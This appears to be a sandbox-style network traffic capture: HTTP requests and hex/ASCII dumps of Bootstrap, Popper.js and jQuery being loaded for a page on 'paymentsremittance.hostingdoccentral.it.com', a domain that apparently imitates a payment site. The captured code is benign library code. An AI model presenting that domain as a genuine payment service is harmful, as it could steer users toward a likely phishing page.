2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c Data Ascii: ement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 Data Ascii: t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:40:08 UTC	737	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://paymentsremittance.hostingdoccentral.it.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://paymentsremittance.hostingdoccentral.it.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:40:09 UTC	972	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:40:08 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Cf-Ray: 91b3d7fc1cf08c96-EWR Server: cloudflare Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 Etag: W/"649949ff-1afc" Last-Modified: Mon, 26 Jun 2023 08:19:11 GMT Cf-Cdnjs-Via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff Cf-Cache-Status: HIT Age: 357364 Expires: Sun, 22 Feb 2026 19:40:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B%2BHQlG%2FZZcYjE%2By%2FzXR5EJwlaFIQWp%2Ff2aVD%2Fl%2BpYmoR9TLwmLZW573mhS2iS2y1rWoXrObQJOb6LFGeQCjv87UpAKmsWw224cuyzPfNMWBOo6js97O0EVnWC%2BrolGElOki%2B3G%2B0"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 alt-svc: h3=":443"; ma=86400
2025-03-04 19:40:09 UTC	397	IN	Data Raw: 31 62 65 35 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 1be5/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 28 65 2c 74 29 7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 Data Ascii: (e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;ca
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 Data Ascii: ction l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseF
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 2c 31 30 29 2c 68 3d 63 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e Data Ascii: ,10),h=c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.margin
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 2d 74 2e 72 69 67 68 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: -t.right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e
2025-03-04 19:40:09 UTC	1276	IN	Data Raw: 6f 6e 27 5d 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b Data Ascii: on']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 32 66 30 66 0d 0a 2e 70 6f 73 69 74 69 6f 6e 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2e 74 6f 70 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 5b 57 28 27 74 72 61 6e 73 66 6f 72 6d 27 29 5d 3d 27 27 29 2c 74 68 69 73 2e 64 69 73 61 62 6c 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 Data Ascii: 2f0f.position='',this.popper.style.top='',this.popper.style[W('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:wi
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 5b 6f 5d 3b 21 31 3d 3d 3d 69 3f 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 6f 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 2c 74 5b 6f 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 2c 74 2c 6f 29 7b 76 61 72 20 69 3d 54 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 65 2e 6e 61 6d 65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 Data Ascii: [o];!1===i?e.removeAttribute(o):e.setAttribute(o,t[o])})}function F(e,t,o){var i=T(e,function(e){var o=e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 63 65 28 73 2b 31 29 29 5d 3b 72 65 74 75 72 6e 20 61 3d 61 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 76 61 72 20 6e 3d 28 31 3d 3d 3d 69 3f 21 72 3a 72 29 3f 27 68 65 69 67 68 74 27 3a 27 77 69 64 74 68 27 2c 70 3d 21 31 3b 72 65 74 75 72 6e 20 65 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 Data Ascii: ce(s+1))];return a=a.map(function(e,i){var n=(1===i?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 6c 65 7c 7c 21 31 2c 6f 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 27 76 61 6c 75 65 27 69 6e 20 6f 26 26 28 6f 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6f 2e 6b 65 79 2c 6f 29 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 2c 69 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 Data Ascii: le\|\|!1,o.configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writ

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:40:08 UTC	712	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://paymentsremittance.hostingdoccentral.it.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://paymentsremittance.hostingdoccentral.it.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:40:09 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 04 Mar 2025 19:40:08 GMT Age: 1777034 X-Served-By: cache-lga21984-LGA, cache-nyc-kteb1890021-NYC X-Cache: HIT, HIT X-Cache-Hits: 903, 68 X-Timer: S1741117209.970201,VS0,VE0 Vary: Accept-Encoding
2025-03-04 19:40:09 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-03-04 19:40:09 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-03-04 19:40:09 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-03-04 19:40:09 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-03-04 19:40:09 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
